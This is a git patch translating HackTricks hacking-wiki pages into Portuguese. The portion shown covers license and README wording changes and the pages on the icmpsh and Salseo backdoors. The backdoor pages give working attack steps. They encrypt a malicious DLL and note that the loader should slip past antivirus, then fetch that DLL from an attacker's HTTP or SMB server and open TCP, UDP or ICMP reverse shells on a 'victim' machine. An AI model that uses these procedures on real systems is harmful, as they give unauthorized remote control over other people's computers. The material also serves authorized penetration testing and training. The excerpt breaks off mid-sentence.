From 9dd28dfcbd8fed8698f46995529b537a7ace34a0 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 3 Jan 2025 12:10:35 +0000 Subject: [PATCH] Translated ['src/LICENSE.md', 'src/README.md', 'src/android-forensics.md --- src/LICENSE.md | 16 +- src/README.md | 6 +- src/SUMMARY.md | 1 + src/backdoors/icmpsh.md | 20 +- src/backdoors/salseo.md | 108 +- src/banners/hacktricks-training.md | 10 +- .../arbitrary-write-2-exec/README.md | 4 +- .../aw2exec-__malloc_hook.md | 48 +- .../arbitrary-write-2-exec/aw2exec-got-plt.md | 62 +- .../www2exec-.dtors-and-.fini_array.md | 38 +- .../arbitrary-write-2-exec/www2exec-atexit.md | 284 +- src/binary-exploitation/array-indexing.md | 16 +- .../README.md | 132 +- .../elf-tricks.md | 418 ++- .../tools/README.md | 132 +- .../tools/pwntools.md | 130 +- .../README.md | 26 +- .../aslr/README.md | 226 +- .../aslr/ret2plt.md | 58 +- .../aslr/ret2ret.md | 20 +- .../cet-and-shadow-stack.md | 18 +- .../libc-protections.md | 86 +- .../memory-tagging-extension-mte.md | 62 +- .../no-exec-nx.md | 12 +- .../pie/README.md | 22 +- .../pie/bypassing-canary-and-pie.md | 82 +- .../relro.md | 20 +- .../stack-canaries/README.md | 52 +- .../bf-forked-stack-canaries.md | 120 +- .../stack-canaries/print-stack-canary.md | 22 +- .../common-exploiting-problems.md | 18 +- .../format-strings/README.md | 170 +- .../format-strings-arbitrary-read-example.md | 144 +- .../format-strings/format-strings-template.md | 92 +- src/binary-exploitation/integer-overflow.md | 110 +- src/binary-exploitation/ios-exploiting.md | 287 +- src/binary-exploitation/libc-heap/README.md | 440 ++- .../libc-heap/bins-and-memory-allocations.md | 528 ++-- .../libc-heap/double-free.md | 158 +- .../libc-heap/fast-bin-attack.md | 152 +- .../libc-heap/heap-memory-functions/README.md | 2 +- .../libc-heap/heap-memory-functions/free.md | 486 ++-- .../heap-functions-security-checks.md | 220 +- .../malloc-and-sysmalloc.md | 2438 ++++++++--------- .../libc-heap/heap-memory-functions/unlink.md | 102 +- .../libc-heap/heap-overflow.md | 40 +- .../libc-heap/house-of-einherjar.md | 60 +- .../libc-heap/house-of-force.md | 68 +- .../libc-heap/house-of-lore.md | 54 +- .../libc-heap/house-of-orange.md | 80 +- .../libc-heap/house-of-rabbit.md | 84 +- .../libc-heap/house-of-roman.md | 100 +- .../libc-heap/house-of-spirit.md | 122 +- .../libc-heap/large-bin-attack.md | 56 +- .../libc-heap/off-by-one-overflow.md | 144 +- .../libc-heap/overwriting-a-freed-chunk.md | 20 +- .../libc-heap/tcache-bin-attack.md | 46 +- .../libc-heap/unlink-attack.md | 150 +- .../libc-heap/unsorted-bin-attack.md | 92 +- .../libc-heap/use-after-free/README.md | 12 +- .../libc-heap/use-after-free/first-fit.md | 44 +- .../rop-return-oriented-programing/README.md | 140 +- .../brop-blind-return-oriented-programming.md | 118 +- .../rop-return-oriented-programing/ret2csu.md | 78 +- .../ret2dlresolve.md | 46 +- .../ret2esp-ret2reg.md | 92 +- .../ret2lib/README.md | 116 +- .../ret2lib/one-gadget.md | 20 +- .../ret2lib/ret2lib-+-printf-leak-arm64.md | 124 +- .../rop-leaking-libc-address/README.md | 250 +- .../rop-leaking-libc-template.md | 212 +- .../ret2vdso.md | 16 +- .../rop-syscall-execv/README.md | 66 +- .../rop-syscall-execv/ret2syscall-arm64.md | 60 +- .../README.md | 42 +- .../srop-arm64.md | 80 +- .../stack-overflow/README.md | 60 +- .../stack-overflow/pointer-redirecting.md | 20 +- .../stack-overflow/ret2win/README.md | 80 +- .../stack-overflow/ret2win/ret2win-arm64.md | 72 +- .../stack-pivoting-ebp2ret-ebp-chaining.md | 166 +- .../stack-overflow/stack-shellcode/README.md | 64 +- .../stack-shellcode/stack-shellcode-arm64.md | 32 +- .../stack-overflow/uninitialized-variables.md | 68 +- ...windows-exploiting-basic-guide-oscp-lvl.md | 156 +- .../README.md | 180 +- .../blockchain-and-crypto-currencies.md | 180 +- src/crypto-and-stego/certificates.md | 200 +- .../cipher-block-chaining-cbc-mac-priv.md | 44 +- src/crypto-and-stego/crypto-ctfs-tricks.md | 176 +- .../cryptographic-algorithms/README.md | 144 +- .../unpacking-binaries.md | 34 +- .../electronic-code-book-ecb.md | 68 +- src/crypto-and-stego/esoteric-languages.md | 10 +- .../hash-length-extension-attack.md | 40 +- src/crypto-and-stego/padding-oracle-priv.md | 75 +- .../rc4-encrypt-and-decrypt.md | 4 +- src/crypto-and-stego/stego-tricks.md | 140 +- src/cryptography/certificates.md | 182 +- .../cipher-block-chaining-cbc-mac-priv.md | 44 +- src/cryptography/crypto-ctfs-tricks.md | 178 +- src/cryptography/electronic-code-book-ecb.md | 68 +- .../hash-length-extension-attack.md | 40 +- src/cryptography/padding-oracle-priv.md | 80 +- src/cryptography/rc4-encrypt-and-decrypt.md | 4 +- src/emails-vulns.md | 3 +- .../linux-exploiting-basic-esp/README.md | 388 ++- .../linux-exploiting-basic-esp/fusion.md | 10 +- src/exploiting/tools/README.md | 126 +- src/exploiting/tools/pwntools.md | 132 +- ...windows-exploiting-basic-guide-oscp-lvl.md | 156 +- .../basic-forensic-methodology/README.md | 32 +- .../anti-forensic-techniques.md | 142 +- .../docker-forensics.md | 77 +- .../file-integrity-monitoring.md | 20 +- .../linux-forensics.md | 362 +-- .../malware-analysis.md | 110 +- .../memory-dump-analysis/README.md | 34 +- .../partitions-file-systems-carving/README.md | 238 +- .../file-data-carving-recovery-tools.md | 66 +- .../file-data-carving-tools.md | 44 +- .../pcap-inspection/README.md | 122 +- .../usb-keyboard-pcap-analysis.md | 8 +- .../pcap-inspection/usb-keystrokes.md | 8 +- .../pcap-inspection/wifi-pcap-analysis.md | 26 +- .../.pyc.md | 152 +- .../README.md | 2 +- .../browser-artifacts.md | 184 +- .../desofuscation-vbs-cscript.exe.md | 42 +- .../local-cloud-storage.md | 115 +- .../office-file-analysis.md | 30 +- .../pdf-file-analysis.md | 30 +- .../png-tricks.md | 6 +- .../video-and-audio-file-analysis.md | 24 +- .../zips-tricks.md | 16 +- .../windows-forensics/README.md | 483 ++-- .../interesting-windows-registry-keys.md | 100 +- .../windows-forensics/windows-processes.md | 96 +- src/generic-hacking/brute-force.md | 370 +-- src/generic-hacking/exfiltration.md | 138 +- src/generic-hacking/reverse-shells/README.md | 2 +- .../expose-local-to-the-internet.md | 32 +- .../reverse-shells/full-ttys.md | 50 +- src/generic-hacking/reverse-shells/linux.md | 212 +- .../reverse-shells/msfvenom.md | 116 +- src/generic-hacking/reverse-shells/windows.md | 290 +- src/generic-hacking/search-exploits.md | 37 +- .../tunneling-and-port-forwarding.md | 310 +-- .../basic-forensic-methodology/README.md | 32 +- .../anti-forensic-techniques.md | 146 +- .../docker-forensics.md | 76 +- .../file-integrity-monitoring.md | 20 +- .../image-acquisition-and-mount.md | 47 +- .../linux-forensics.md | 362 +-- .../malware-analysis.md | 110 +- .../memory-dump-analysis/README.md | 34 +- .../volatility-cheatsheet.md | 334 +-- .../partitions-file-systems-carving/README.md | 238 +- .../file-data-carving-recovery-tools.md | 66 +- .../pcap-inspection/README.md | 126 +- .../pcap-inspection/dnscat-exfiltration.md | 28 +- .../suricata-and-iptables-cheatsheet.md | 110 +- .../pcap-inspection/usb-keystrokes.md | 8 +- .../pcap-inspection/wifi-pcap-analysis.md | 28 +- .../pcap-inspection/wireshark-tricks.md | 116 +- .../.pyc.md | 152 +- .../README.md | 2 +- .../browser-artifacts.md | 184 +- .../desofuscation-vbs-cscript.exe.md | 42 +- .../local-cloud-storage.md | 113 +- .../office-file-analysis.md | 30 +- .../pdf-file-analysis.md | 30 +- .../png-tricks.md | 6 +- .../video-and-audio-file-analysis.md | 12 +- .../zips-tricks.md | 16 +- .../windows-forensics/README.md | 496 ++-- .../interesting-windows-registry-keys.md | 100 +- .../external-recon-methodology/README.md | 528 ++-- .../github-leaked-secrets.md | 11 +- .../wide-source-code-search.md | 16 +- .../pentesting-methodology.md | 140 +- .../pentesting-network/README.md | 580 ++-- .../pentesting-network/dhcpv6.md | 58 +- .../pentesting-network/eigrp-attacks.md | 96 +- .../glbp-and-hsrp-attacks.md | 172 +- .../pentesting-network/ids-evasion.md | 56 +- .../lateral-vlan-segmentation-bypass.md | 38 +- .../network-protocols-explained-esp.md | 42 +- .../pentesting-network/nmap-summary-esp.md | 253 +- .../pentesting-network/pentesting-ipv6.md | 114 +- ...-ns-mdns-dns-and-wpad-and-relay-attacks.md | 114 +- .../spoofing-ssdp-and-upnp-devices.md | 32 +- .../pentesting-network/webrtc-dos.md | 36 +- .../pentesting-wifi/README.md | 615 ++--- .../pentesting-wifi/evil-twin-eap-tls.md | 60 +- .../phishing-methodology/README.md | 390 ++- .../phishing-methodology/clone-a-website.md | 22 +- .../phishing-methodology/detecting-phising.md | 64 +- .../phishing-documents.md | 164 +- .../python/README.md | 28 +- .../python/basic-python.md | 298 +- .../python/bruteforce-hash-few-chars.md | 52 +- .../python/bypass-python-sandboxes/README.md | 739 +++-- .../load_name-load_const-opcode-oob-read.md | 224 +- ...s-pollution-pythons-prototype-pollution.md | 208 +- .../python/pyscript.md | 222 +- .../python/python-internal-read-gadgets.md | 30 +- .../python/venv.md | 18 - .../python/web-requests.md | 71 +- .../threat-modeling.md | 96 +- .../escaping-from-gui-applications.md | 348 +-- .../firmware-analysis/README.md | 214 +- .../firmware-analysis/bootloader-testing.md | 62 +- .../firmware-analysis/firmware-integrity.md | 38 +- .../physical-attacks.md | 54 +- src/interesting-http.md | 25 +- .../bypass-bash-restrictions/README.md | 90 +- .../README.md | 97 +- .../ddexec.md | 76 +- src/linux-hardening/freeipa-pentesting.md | 116 +- .../linux-environment-variables.md | 92 +- .../linux-post-exploitation/README.md | 44 +- .../pam-pluggable-authentication-modules.md | 46 +- .../linux-privilege-escalation-checklist.md | 212 +- .../privilege-escalation/README.md | 76 +- .../privilege-escalation/cisco-vmanage.md | 52 +- .../containerd-ctr-privilege-escalation.md | 28 +- ...-command-injection-privilege-escalation.md | 456 ++- .../docker-security/README.md | 36 +- ...-docker-socket-for-privilege-escalation.md | 4 +- .../docker-security/apparmor.md | 6 +- ...uthn-docker-access-authorization-plugin.md | 10 +- .../docker-security/cgroups.md | 2 +- .../README.md | 12 +- .../docker-release_agent-cgroups-escape.md | 2 +- .../sensitive-mounts.md | 28 +- .../docker-security/docker-privileged.md | 2 +- .../namespaces/cgroup-namespace.md | 14 +- .../namespaces/ipc-namespace.md | 2 +- .../namespaces/mount-namespace.md | 10 +- .../namespaces/network-namespace.md | 4 +- .../namespaces/pid-namespace.md | 2 +- .../namespaces/time-namespace.md | 4 +- .../namespaces/user-namespace.md | 14 +- .../docker-security/seccomp.md | 6 +- .../electron-cef-chromium-debugger-abuse.md | 116 +- .../escaping-from-limited-bash.md | 174 +- .../privilege-escalation/euid-ruid-suid.md | 193 +- .../interesting-groups-linux-pe/README.md | 10 +- .../lxd-privilege-escalation.md | 2 +- .../ld.so.conf-example.md | 4 +- .../linux-active-directory.md | 10 +- .../linux-capabilities.md | 48 +- .../nfs-no_root_squash-misconfiguration-pe.md | 20 +- .../payloads-to-execute.md | 6 +- .../privilege-escalation/selinux.md | 2 +- .../socket-command-injection.md | 2 +- .../splunk-lpe-and-persistence.md | 2 +- .../ssh-forward-agent-exploitation.md | 2 +- src/linux-hardening/useful-linux-commands.md | 48 +- .../bypass-bash-restrictions.md | 4 +- .../privilege-escalation/exploiting-yum.md | 2 +- .../interesting-groups-linux-pe.md | 8 +- .../macos-auto-start-locations.md | 106 +- .../macos-red-teaming/README.md | 14 +- .../macos-red-teaming/macos-keychain.md | 16 +- .../macos-red-teaming/macos-mdm/README.md | 10 +- .../README.md | 16 +- .../macos-function-hooking.md | 8 +- .../mac-os-architecture/macos-iokit.md | 14 +- ...yld-hijacking-and-dyld_insert_libraries.md | 2 +- .../macos-gcd-grand-central-dispatch.md | 6 +- .../macos-privilege-escalation.md | 4 +- .../macos-protocols.md | 8 +- .../macos-users.md | 2 +- src/macos-hardening/macos-useful-commands.md | 4 +- src/online-platforms-with-api.md | 75 +- src/other-web-tricks.md | 45 +- src/pentesting-dns.md | 6 +- .../hacking-jwt-json-web-tokens.md | 12 +- src/post-exploitation.md | 14 +- ...itive-information-disclosure-from-a-web.md | 14 +- 282 files changed, 13126 insertions(+), 16618 deletions(-) diff --git a/src/LICENSE.md b/src/LICENSE.md index 5a21be47e..fe35da96f 100644 --- a/src/LICENSE.md +++ b/src/LICENSE.md @@ -11,13 +11,13 @@ Formatação: https://github.com/jmatsushita/Creative-Commons-4.0-Markdown/blob/ # Attribution-NonCommercial 4.0 International -Creative Commons Corporation (“Creative Commons”) não é um escritório de advocacia e não fornece serviços ou conselhos legais. A distribuição de licenças públicas da Creative Commons não cria uma relação advogado-cliente ou outra relação. A Creative Commons disponibiliza suas licenças e informações relacionadas em uma base "como está". A Creative Commons não oferece garantias em relação às suas licenças, qualquer material licenciado sob seus termos e condições, ou qualquer informação relacionada. A Creative Commons renuncia a toda responsabilidade por danos resultantes de seu uso na máxima extensão possível. +Creative Commons Corporation (“Creative Commons”) não é um escritório de advocacia e não fornece serviços jurídicos ou aconselhamento jurídico. A distribuição de licenças públicas da Creative Commons não cria uma relação advogado-cliente ou outra relação. A Creative Commons disponibiliza suas licenças e informações relacionadas em uma base "como está". A Creative Commons não oferece garantias em relação às suas licenças, qualquer material licenciado sob seus termos e condições, ou qualquer informação relacionada. A Creative Commons renuncia a toda responsabilidade por danos resultantes de seu uso na máxima extensão possível. ## Usando Licenças Públicas da Creative Commons As licenças públicas da Creative Commons fornecem um conjunto padrão de termos e condições que criadores e outros detentores de direitos podem usar para compartilhar obras originais de autoria e outros materiais sujeitos a direitos autorais e certos outros direitos especificados na licença pública abaixo. As seguintes considerações são apenas para fins informativos, não são exaustivas e não fazem parte de nossas licenças. -- **Considerações para licenciadores:** Nossas licenças públicas são destinadas ao uso por aqueles autorizados a dar ao público permissão para usar material de maneiras que de outra forma seriam restritas por direitos autorais e certos outros direitos. Nossas licenças são irrevogáveis. Os licenciadores devem ler e entender os termos e condições da licença que escolhem antes de aplicá-la. Os licenciadores também devem garantir todos os direitos necessários antes de aplicar nossas licenças para que o público possa reutilizar o material conforme esperado. Os licenciadores devem marcar claramente qualquer material que não esteja sujeito à licença. Isso inclui outro material licenciado pela CC, ou material usado sob uma exceção ou limitação ao direito autoral. [Mais considerações para licenciadores](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors). +- **Considerações para licenciadores:** Nossas licenças públicas são destinadas ao uso por aqueles autorizados a dar ao público permissão para usar material de maneiras que de outra forma seriam restritas por direitos autorais e certos outros direitos. Nossas licenças são irrevogáveis. Os licenciadores devem ler e entender os termos e condições da licença que escolhem antes de aplicá-la. Os licenciadores também devem garantir todos os direitos necessários antes de aplicar nossas licenças para que o público possa reutilizar o material conforme esperado. Os licenciadores devem marcar claramente qualquer material não sujeito à licença. Isso inclui outro material licenciado pela CC, ou material usado sob uma exceção ou limitação ao direito autoral. [Mais considerações para licenciadores](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors). - **Considerações para o público:** Ao usar uma de nossas licenças públicas, um licenciador concede ao público permissão para usar o material licenciado sob termos e condições especificados. Se a permissão do licenciador não for necessária por qualquer motivo – por exemplo, devido a qualquer exceção ou limitação aplicável ao direito autoral – então esse uso não é regulado pela licença. Nossas licenças concedem apenas permissões sob direitos autorais e certos outros direitos que um licenciador tem autoridade para conceder. O uso do material licenciado ainda pode ser restrito por outros motivos, incluindo porque outros têm direitos autorais ou outros direitos sobre o material. Um licenciador pode fazer solicitações especiais, como pedir que todas as alterações sejam marcadas ou descritas. Embora não seja exigido por nossas licenças, você é incentivado a respeitar essas solicitações quando razoável. [Mais considerações para o público](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees). @@ -71,7 +71,7 @@ A. **Oferta do Licenciador – Material Licenciado.** Cada destinatário do Mate B. **Sem restrições a jusante.** Você não pode oferecer ou impor quaisquer termos ou condições adicionais ou diferentes sobre, ou aplicar quaisquer Medidas Tecnológicas Eficazes ao, Material Licenciado se isso restringir o exercício dos Direitos Licenciados por qualquer destinatário do Material Licenciado. -6. **Nenhum endosse.** Nada nesta Licença Pública constitui ou pode ser interpretado como permissão para afirmar ou implicar que você está, ou que seu uso do Material Licenciado está, conectado com, ou patrocinado, endossado ou concedido status oficial pelo, Licenciador ou outros designados para receber atribuição conforme previsto na Seção 3(a)(1)(A)(i). +6. **Nenhum endosse.** Nada nesta Licença Pública constitui ou pode ser interpretado como permissão para afirmar ou implicar que você está, ou que seu uso do Material Licenciado está, conectado com, ou patrocinado, endossado ou concedido status oficial pelo, Licenciador ou outros designados para receber atribuição conforme fornecido na Seção 3(a)(1)(A)(i). b. **_Outros direitos._** @@ -79,7 +79,7 @@ b. **_Outros direitos._** 2. Direitos de patente e marca registrada não são licenciados sob esta Licença Pública. -3. Na medida do possível, o Licenciador renuncia a qualquer direito de coletar royalties de você pelo exercício dos Direitos Licenciados, seja diretamente ou através de uma sociedade de cobrança sob qualquer esquema de licenciamento voluntário ou renunciável ou compulsório. Em todos os outros casos, o Licenciador reserva expressamente qualquer direito de coletar tais royalties, incluindo quando o Material Licenciado é usado de outra forma que não para fins Não Comerciais. +3. Na medida do possível, o Licenciador renuncia a qualquer direito de coletar royalties de você pelo exercício dos Direitos Licenciados, seja diretamente ou por meio de uma sociedade de cobrança sob qualquer esquema de licenciamento voluntário ou renunciável ou compulsório. Em todos os outros casos, o Licenciador reserva expressamente qualquer direito de coletar tais royalties, incluindo quando o Material Licenciado é usado de outra forma que não para fins Não Comerciais. ## Seção 3 – Condições da Licença. @@ -109,7 +109,7 @@ C. indicar que o Material Licenciado é licenciado sob esta Licença Pública, e 3. Se solicitado pelo Licenciador, você deve remover qualquer uma das informações exigidas pela Seção 3(a)(1)(A) na medida razoavelmente prática. -4. Se você Compartilhar Material Adaptado que você produziu, a Licença do Adaptador que você aplica não deve impedir os destinatários do Material Adaptado de cumprir esta Licença Pública. +4. Se você Compartilhar Material Adaptado que produziu, a Licença do Adaptador que você aplica não deve impedir os destinatários do Material Adaptado de cumprir esta Licença Pública. ## Seção 4 – Direitos de Banco de Dados Sui Generis. @@ -117,7 +117,7 @@ Onde os Direitos Licenciados incluem Direitos de Banco de Dados Sui Generis que a. para evitar dúvidas, a Seção 2(a)(1) concede a você o direito de extrair, reutilizar, reproduzir e Compartilhar todo ou uma parte substancial do conteúdo do banco de dados apenas para fins Não Comerciais; -b. se você incluir todo ou uma parte substancial do conteúdo do banco de dados em um banco de dados no qual você possui Direitos de Banco de Dados Sui Generis, então o banco de dados no qual você possui Direitos de Banco de Dados Sui Generis (mas não seus conteúdos individuais) é Material Adaptado; e +b. se você incluir todo ou uma parte substancial do conteúdo do banco de dados em um banco de dados no qual você tem Direitos de Banco de Dados Sui Generis, então o banco de dados no qual você tem Direitos de Banco de Dados Sui Generis (mas não seu conteúdo individual) é Material Adaptado; e c. você deve cumprir as condições na Seção 3(a) se você Compartilhar todo ou uma parte substancial do conteúdo do banco de dados. @@ -129,7 +129,7 @@ a. **A menos que de outra forma assumido separadamente pelo Licenciador, na medi b. **Na medida do possível, em nenhuma circunstância o Licenciador será responsável a você sob qualquer teoria legal (incluindo, sem limitação, negligência) ou de outra forma por quaisquer perdas, custos, despesas ou danos diretos, especiais, indiretos, incidentais, consequenciais, punitivos, exemplares ou outros decorrentes desta Licença Pública ou do uso do Material Licenciado, mesmo que o Licenciador tenha sido avisado da possibilidade de tais perdas, custos, despesas ou danos. Onde uma limitação de responsabilidade não é permitida total ou parcialmente, esta limitação pode não se aplicar a você.** -c. A renúncia de garantias e a limitação de responsabilidade fornecidas acima serão interpretadas de uma maneira que, na medida do possível, mais se aproxima de uma renúncia absoluta e renúncia de toda responsabilidade. +c. A renúncia de garantias e a limitação de responsabilidade fornecidas acima serão interpretadas de uma maneira que, na medida do possível, mais se aproxime de uma renúncia absoluta e renúncia de toda responsabilidade. ## Seção 6 – Prazo e Rescisão. @@ -141,7 +141,7 @@ b. Onde seu direito de usar o Material Licenciado foi encerrado sob a Seção 6( 2. mediante restabelecimento expresso pelo Licenciador. -Para evitar dúvidas, esta Seção 6(b) não afeta qualquer direito que o Licenciador possa ter de buscar remédios para suas violações desta Licença Pública. +Para evitar dúvidas, esta Seção 6(b) não afeta qualquer direito que o Licenciador possa ter de buscar remédios por suas violações desta Licença Pública. c. Para evitar dúvidas, o Licenciador também pode oferecer o Material Licenciado sob termos ou condições separadas ou parar de distribuir o Material Licenciado a qualquer momento; no entanto, fazer isso não encerrará esta Licença Pública. diff --git a/src/README.md b/src/README.md index ba7256415..e3be04339 100644 --- a/src/README.md +++ b/src/README.md @@ -23,7 +23,7 @@ generic-methodologies-and-resources/pentesting-methodology.md [**STM Cyber**](https://www.stmcyber.com) é uma ótima empresa de cibersegurança cujo slogan é **HACK THE UNHACKABLE**. Eles realizam suas próprias pesquisas e desenvolvem suas próprias ferramentas de hacking para **oferecer vários serviços valiosos de cibersegurança** como pentesting, Red teams e treinamento. -Você pode conferir seu **blog** em [**https://blog.stmcyber.com**](https://blog.stmcyber.com) +Você pode conferir o **blog** deles em [**https://blog.stmcyber.com**](https://blog.stmcyber.com) **STM Cyber** também apoia projetos de código aberto em cibersegurança como o HackTricks :) @@ -70,7 +70,7 @@ Acesse hoje: Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs! -- **Insights de Hacking:** Engaje-se com conteúdo que explora a emoção e os desafios do hacking +- **Insights de Hacking:** Envolva-se com conteúdo que mergulha na emoção e nos desafios do hacking - **Notícias de Hack em Tempo Real:** Mantenha-se atualizado com o mundo do hacking em ritmo acelerado através de notícias e insights em tempo real - **Últimos Anúncios:** Fique informado sobre os novos bug bounties lançados e atualizações cruciais da plataforma @@ -100,7 +100,7 @@ Uma assinatura de um dos planos da SerpApi inclui acesso a mais de 50 APIs difer Ao contrário de outros provedores, **a SerpApi não apenas raspa resultados orgânicos**. As respostas da SerpApi incluem consistentemente todos os anúncios, imagens e vídeos inline, gráficos de conhecimento e outros elementos e recursos presentes nos resultados de busca. Os atuais clientes da SerpApi incluem **Apple, Shopify e GrubHub**.\ -Para mais informações, confira seu [**blog**](https://serpapi.com/blog/)**,** ou experimente um exemplo em seu [**playground**](https://serpapi.com/playground)**.**\ +Para mais informações, confira o [**blog**](https://serpapi.com/blog/)** deles,** ou experimente um exemplo em seu [**playground**](https://serpapi.com/playground)**.**\ Você pode **criar uma conta gratuita** [**aqui**](https://serpapi.com/users/sign_up)**.** --- diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 4a8579657..fb3efcc74 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -868,3 +868,4 @@ - [Cookies Policy](todo/cookies-policy.md) + diff --git a/src/backdoors/icmpsh.md b/src/backdoors/icmpsh.md index 6c48091a3..e031d94f9 100644 --- a/src/backdoors/icmpsh.md +++ b/src/backdoors/icmpsh.md @@ -1,31 +1,25 @@ {{#include ../banners/hacktricks-training.md}} -Download the backdoor from: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) +Baixe o backdoor de: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) -# Client side +# Lado do cliente -Execute the script: **run.sh** - -**If you get some error, try to change the lines:** +Execute o script: **run.sh** +**Se você receber algum erro, tente mudar as linhas:** ```bash IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1) IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }') ``` - -**For:** - +**Para:** ```bash echo Please insert the IP where you want to listen read IP ``` +# **Lado da Vítima** -# **Victim Side** - -Upload **icmpsh.exe** to the victim and execute: - +Faça o upload de **icmpsh.exe** para a vítima e execute: ```bash icmpsh.exe -t -d 500 -b 30 -s 128 ``` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/backdoors/salseo.md b/src/backdoors/salseo.md index 90cf5338c..fd6320499 100644 --- a/src/backdoors/salseo.md +++ b/src/backdoors/salseo.md @@ -2,159 +2,142 @@ {{#include ../banners/hacktricks-training.md}} -## Compiling the binaries +## Compilando os binários -Download the source code from the github and compile **EvilSalsa** and **SalseoLoader**. You will need **Visual Studio** installed to compile the code. +Baixe o código-fonte do github e compile **EvilSalsa** e **SalseoLoader**. Você precisará do **Visual Studio** instalado para compilar o código. -Compile those projects for the architecture of the windows box where your are going to use them(If the Windows supports x64 compile them for that architectures). +Compile esses projetos para a arquitetura da máquina Windows onde você vai usá-los (Se o Windows suportar x64, compile-os para essa arquitetura). -You can **select the architecture** inside Visual Studio in the **left "Build" Tab** in **"Platform Target".** +Você pode **selecionar a arquitetura** dentro do Visual Studio na **aba "Build" à esquerda** em **"Platform Target".** -(\*\*If you can't find this options press in **"Project Tab"** and then in **"\ Properties"**) +(\*\*Se você não encontrar essas opções, clique na **"Project Tab"** e depois em **"\ Properties"**) ![](<../images/image (132).png>) -Then, build both projects (Build -> Build Solution) (Inside the logs will appear the path of the executable): +Em seguida, construa ambos os projetos (Build -> Build Solution) (Dentro dos logs aparecerá o caminho do executável): ![](<../images/image (1) (2) (1) (1) (1).png>) -## Prepare the Backdoor +## Preparar o Backdoor -First of all, you will need to encode the **EvilSalsa.dll.** To do so, you can use the python script **encrypterassembly.py** or you can compile the project **EncrypterAssembly**: +Primeiro de tudo, você precisará codificar o **EvilSalsa.dll.** Para isso, você pode usar o script python **encrypterassembly.py** ou pode compilar o projeto **EncrypterAssembly**: ### **Python** - ``` python EncrypterAssembly/encrypterassembly.py python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt ``` - ### Windows - ``` EncrypterAssembly.exe EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt ``` +Ok, agora você tem tudo o que precisa para executar toda a coisa do Salseo: o **EvilDalsa.dll codificado** e o **binário do SalseoLoader.** -Ok, now you have everything you need to execute all the Salseo thing: the **encoded EvilDalsa.dll** and the **binary of SalseoLoader.** +**Faça o upload do binário SalseoLoader.exe para a máquina. Eles não devem ser detectados por nenhum AV...** -**Upload the SalseoLoader.exe binary to the machine. They shouldn't be detected by any AV...** +## **Executar o backdoor** -## **Execute the backdoor** - -### **Getting a TCP reverse shell (downloading encoded dll through HTTP)** - -Remember to start a nc as the reverse shell listener and a HTTP server to serve the encoded evilsalsa. +### **Obtendo um shell reverso TCP (baixando dll codificada através de HTTP)** +Lembre-se de iniciar um nc como o ouvinte do shell reverso e um servidor HTTP para servir o evilsalsa codificado. ``` SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp ``` +### **Obtendo um shell reverso UDP (baixando dll codificada através do SMB)** -### **Getting a UDP reverse shell (downloading encoded dll through SMB)** - -Remember to start a nc as the reverse shell listener, and a SMB server to serve the encoded evilsalsa (impacket-smbserver). - +Lembre-se de iniciar um nc como o ouvinte do shell reverso e um servidor SMB para servir o evilsalsa codificado (impacket-smbserver). ``` SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp ``` +### **Obtendo um shell reverso ICMP (dll codificada já dentro da vítima)** -### **Getting a ICMP reverse shell (encoded dll already inside the victim)** - -**This time you need a special tool in the client to receive the reverse shell. Download:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) - -#### **Disable ICMP Replies:** +**Desta vez você precisa de uma ferramenta especial no cliente para receber o shell reverso. Baixe:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) +#### **Desativar Respostas ICMP:** ``` sysctl -w net.ipv4.icmp_echo_ignore_all=1 #You finish, you can enable it again running: sysctl -w net.ipv4.icmp_echo_ignore_all=0 ``` - -#### Execute the client: - +#### Execute o cliente: ``` python icmpsh_m.py "" "" ``` - -#### Inside the victim, lets execute the salseo thing: - +#### Dentro da vítima, vamos executar a coisa do salseo: ``` SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp ``` +## Compilando SalseoLoader como DLL exportando a função principal -## Compiling SalseoLoader as DLL exporting main function +Abra o projeto SalseoLoader usando o Visual Studio. -Open the SalseoLoader project using Visual Studio. - -### Add before the main function: \[DllExport] +### Adicione antes da função principal: \[DllExport] ![](<../images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -### Install DllExport for this project +### Instale DllExport para este projeto -#### **Tools** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...** +#### **Ferramentas** --> **Gerenciador de Pacotes NuGet** --> **Gerenciar Pacotes NuGet para a Solução...** ![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -#### **Search for DllExport package (using Browse tab), and press Install (and accept the popup)** +#### **Pesquise pelo pacote DllExport (usando a aba Navegar) e pressione Instalar (e aceite o popup)** ![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -In your project folder have appeared the files: **DllExport.bat** and **DllExport_Configure.bat** +Na sua pasta do projeto, apareceram os arquivos: **DllExport.bat** e **DllExport_Configure.bat** -### **U**ninstall DllExport +### **Des**instalar DllExport -Press **Uninstall** (yeah, its weird but trust me, it is necessary) +Pressione **Desinstalar** (sim, é estranho, mas confie em mim, é necessário) ![](<../images/image (5) (1) (1) (2) (1).png>) -### **Exit Visual Studio and execute DllExport_configure** +### **Saia do Visual Studio e execute DllExport_configure** -Just **exit** Visual Studio +Apenas **saia** do Visual Studio -Then, go to your **SalseoLoader folder** and **execute DllExport_Configure.bat** +Em seguida, vá para sua **pasta 